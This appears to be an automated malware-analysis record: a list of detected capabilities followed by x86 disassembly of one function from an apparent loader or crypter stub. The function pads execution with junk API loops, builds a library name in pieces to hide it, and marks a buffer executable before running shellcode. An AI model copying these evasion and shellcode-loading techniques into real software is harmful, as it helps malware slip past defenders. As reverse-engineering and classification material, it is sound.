Function at 0x41f170
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x421616
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2cb0
call fcn.0040c330
push ebx
mov ebx, dword [sym.imp.USER32.dll_CharUpperBuffA]
push ebp
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push esi
push edi
xor edi, edi
xor esi, esi
lea ebx, [ebx]
cmp esi, 0x1e169
jge 0x41f1be
push edi
push edi
call ebx
call ebp
cmp esi, 0x1e9b1d8e
jle 0x41f1da
cmp dword [esp + 0x10], 0xc095d8
je 0x41f1da
cmp dword [esp + 0x3c], 0x903b058
jne 0x41f1e3
inc esi
cmp esi, 0x98a5a
jl 0x41f1b0
cmp dword [0x227d234], 0xcf8
jne 0x41f2e5
push edi
push edi
push edi
call fcn.0040470e
push 0x4033cc
push edi
call fcn.0040470e
push edi
push edi
push edi
push edi
call fcn.00404406
push edi
push edi
call fcn.00403c29
push edi
call fcn.004042cb
push edi
call fcn.0040ce18
push edi
push edi
call fcn.0040413b
add esp, 0x3c
mov dword [esp + 0x70], edi
mov dword [esp + 0x74], edi
mov dword [esp + 0x78], edi
mov dword [esp + 0x2ccc], edi
xor eax, eax
mov dword [esp + 0x44], 0xf
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
lea edx, [eax + 1]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x41f255
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x41f26f
push 0x403640
call fcn.00403bbb
cmp esi, 0xf
jbe 0x41f282
push edi
push esi
lea eax, [esp + 0x38]
push eax
call fcn.004039a0
jmp 0x41f28f
cmp esi, edi
jne 0x41f291
mov dword [esp + 0x40], edi
mov byte [esp + 0x30], 0
cmp esi, edi
seta al
mov ebx, 0x10
test al, al
je 0x41f2cc
mov eax, dword [esp + 0x30]
cmp dword [esp + 0x44], ebx
jae 0x41f2ab
lea eax, [esp + 0x30]
push esi
push edi
push eax
call fcn.0040ae80
mov eax, dword [esp + 0x3c]
add esp, 0xc
mov dword [esp + 0x40], esi
cmp dword [esp + 0x44], ebx
jae 0x41f2c8
lea eax, [esp + 0x30]
mov byte [eax + esi], 0
cmp dword [esp + 0x44], ebx
jb 0x41f2df
mov ecx, dword [esp + 0x30]
push ecx
call fcn.004047cb
add esp, 4
push edi
call fcn.004046bc
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
mov ebp, dword [sym.imp.KERNEL32.dll_FindFirstVolumeW]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x41f313
mov eax, 0x5d1
add dword [0x227d234], eax
cmp dword [0x227d234], 3
jne 0x41f332
push 0
call edi
push 0
push 0
call ebx
push 0
lea edx, [esp + 0x8c4]
push edx
call ebp
inc esi
cmp esi, 0x1518d4
jl 0x41f300
mov eax, dword [0x227d234]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x4403c4], eax
mov eax, dword [0x227d234]
xor esi, esi
test eax, eax
je 0x41f3c2
mov ebx, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
mov ebp, dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
jmp 0x41f370
cmp eax, 0xfe
jne 0x41f399
push 0
call ebx
call ebp
xor ecx, ecx
lea eax, [esp + 0x10]
push eax
push ecx
push ecx
lea edx, [esp + 0xcc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.0041ef00
mov eax, dword [0x227d234]
cmp eax, 0x29
jne 0x41f3bd
call edi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x227d234]
inc esi
cmp esi, eax
jb 0x41f370
cmp eax, 0x70
jne 0x41f46c
push 0
lea eax, [esp + 0xc4]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push 0
push 0x4033d8
push 0x4033ec
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x4033f8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea ecx, [esp + 0x10]
push ecx
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push 0
push 0
lea edx, [esp + 0x8c8]
push edx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push 0
lea eax, [esp + 0x4c4]
push eax
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x403468
push 0x403528
push 0
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x227d234]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x10], 0x9682ab
lea esp, [esp]
cmp eax, 3
jne 0x41f4c3
push 0
lea ecx, [esp + 0x70]
push ecx
push 0
lea edx, [esp + 0x4cc]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea eax, [esp + 0xc0]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x227d234]
cmp eax, 0xdf
jne 0x41f71c
push 0x403578
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
lea eax, [esp + 0x60]
push eax
push ecx
push ecx
lea edx, [esp + 0x14cc]
push edx
push ecx
mov dword [esp + 0x28], ecx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
lea eax, [esp + 0x68]
push eax
call edi
push 0
lea ecx, [esp + 0x8c]
push ecx
call ebp
push 0
lea edx, [esp + 0x28]
push edx
call ebx
push 0
push 0
push 0
push 0x403598
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x24]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1cc4]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x64]
push edx
push 0
lea eax, [esp + 0x38]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x88]
push ecx
call ebx
push 0
lea edx, [esp + 0x24]
push edx
call ebp
lea eax, [esp + 0x2c]
push eax
call edi
lea ecx, [esp + 0x28]
push ecx
push 0
lea edx, [esp + 0x4c8]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x1c]
push eax
push 0x403600
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x58]
push ecx
mov dword [esp + 0x5c], eax
mov dword [esp + 0x60], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x70]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [esp + 0xc4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x10c4]
push ecx
push 0x40361c
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0x8c4]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x18]
push eax
lea ecx, [esp + 0x24c4]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x94]
push 0
push edx
mov dword [esp + 0x98], 0
call fcn.0040a6b0
add esp, 0xc
push 0
lea eax, [esp + 0x90]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x227d234]
dec dword [esp + 0x10]
jne 0x41f490
mov edi, dword [sym.imp.USER32.dll_CharUpperW]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x41f737
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
lea ecx, [ecx]
cmp dword [0x227d234], 0x222
jne 0x41f760
push 0
call esi
dec edi
jne 0x41f750
mov edx, dword [0x227d234]
mov eax, dword [0x4403c4]
lea ecx, [esp + 0x18]
push ecx
push 0x40
push edx
push eax
mov byte [0x43b630], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.0041f120
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputW]
xor esi, esi
cmp dword [0x227d234], 0xba
jne 0x41f7aa
lea ecx, [esp + 0x18]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x41f7b7
call fcn.0041eee0
inc esi
cmp esi, 0x1605a
jl 0x41f791
mov edx, 0x73
mov eax, 0x6d
mov word [0x2273272], dx
mov word [0x2273276], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x227327a], cx
mov word [0x2273286], ax
mov word [0x2273278], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x2273270
mov dword [0x2273280], 0x6c0064
mov word [0x2273274], ax
mov word [0x2273270], cx
mov word [0x2273284], dx
mov dword [0x227327c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x227d234], 0xc30
jne 0x41f8c4
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x8cc]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x10c4]
push ecx
lea edx, [esp + 0x24]
push edx
lea eax, [esp + 0x34]
push eax
lea ecx, [esp + 0x3c]
push ecx
lea edx, [esp + 0x34]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2cc4]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret